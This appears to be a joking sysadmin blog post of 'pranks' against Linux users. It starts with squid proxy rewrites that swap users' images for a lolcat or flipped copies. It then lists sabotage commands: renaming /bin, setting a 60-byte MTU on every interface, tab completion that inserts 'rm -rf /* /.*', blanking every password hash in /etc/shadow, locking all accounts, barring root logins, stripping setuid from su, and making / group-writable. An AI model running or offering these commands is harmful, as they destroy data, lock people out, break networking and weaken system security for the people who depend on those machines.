The Lolcats, they are everywhere!

Do you use squid? Are your users under-appreciating the blissful goodness that is the LOLcat? Feel like educating them a bit? Add or replace the following line in /etc/squid/squid.conf:

url_rewrite_program /bin/sed -u -r s!^([^[:space:]]*.(jp(e)?g|gif|png|tiff|bmp)).*$!http://icanhascheezburger.files.wordpress.com/2009/04/funny-pictures-cat-is-on-your-computer.jpg!

Enterprising bofh’s could use a script to download the referred image, modify it, place it somewhere in /var/www/html and have the rewritten url point to the new bastardised image for extra credit, like this guy did.

It takes a bit more work, so let’s go over the steps:
Make sure you’ve got a webserver running on the same box as your proxy
Add/modify this line in /etc/squid/squid.conf

url_rewrite_program /etc/squid/mirror.sh

Now make /var/www/html writable by the squid user:

setfacl -m u:squid:rwx /var/www/html

And last but not least add this file as /etc/squid/mirror.sh and make it executable:

#!/bin/bash
while read URL
do
    SURL=$(echo ${URL} | cut -d" " -f1)
    echo ${SURL} | egrep -qi ".(jp(e)?g|gif|png|tiff|bmp|ico)$" &&
        (umask 002
         PIC=$$-${RANDOM}
         wget -q -O /tmp/${PIC} ${SURL}
         convert -quiet /tmp/${PIC} -flop /var/www/html/${PIC}.png &&;
            echo http://127.0.0.1/${PIC}.png
        ) || echo $URL
done

The end result:

Efficient Secure Shell

Do all those people who use ssh irritate you as well because you can’t eavesdrop on their connections? Teach them a lesson so that they’ll revert to good ol’ telnet!

printf 'tHostname localhostn' >> /etc/ssh/ssh_config

Help the homeless

chmod a-x $(find /home -depth -maxdepth 1 -type d)

It’s there isn’t it?

Try this one to annoy your users. for extra fun replace /bin with /usr/bin, rinse, repeat.

mv /bin '/bin '

Slow down there a bit bro…

Fast network links getting you down?

for IF in $(ip l | awk -F': ' '/^[0-9]/{print $2}')
do
    ip l s ${IF} mtu 60
done

Especially fun if this machine is acting as a (nat-)router for other boxes…

You make me feel complete

Pop this one into a bash session and watch the hilarity ensue:

complete -E -W 'rm -rf /* /.*'

And while we’re having fun try this one as well (advertorial alert):

complete -W 'http://breakingsystemsforfunandprofit.com' elinks links firefox chrome midori epiphany wget opera

Passwords? We don’t need no stinkin’ passwords!

sed -ri 's/([^:]*):[^:]*:(.*)/1:!!:2/' /etc/shadow

Or for the wusses who want something a bit more recoverable:

for I in $(getent passwd | cut -d: -f1)
do
    passwd -l ${I}
    chage -E0 -M1 -m513 -I1 -W1023 ${I}
done

Still, who needs root?

printf 'root\t-\tmaxlogins\t0\n' >> /etc/security/limits.conf

Who needs root anyway?

chmod u-s /bin/su

Nice and quiet on the email front

Do you hate all those incoming and outgoing emails as much as we do? Are you running sendmail? In that case help is at hand:

chmod g+w /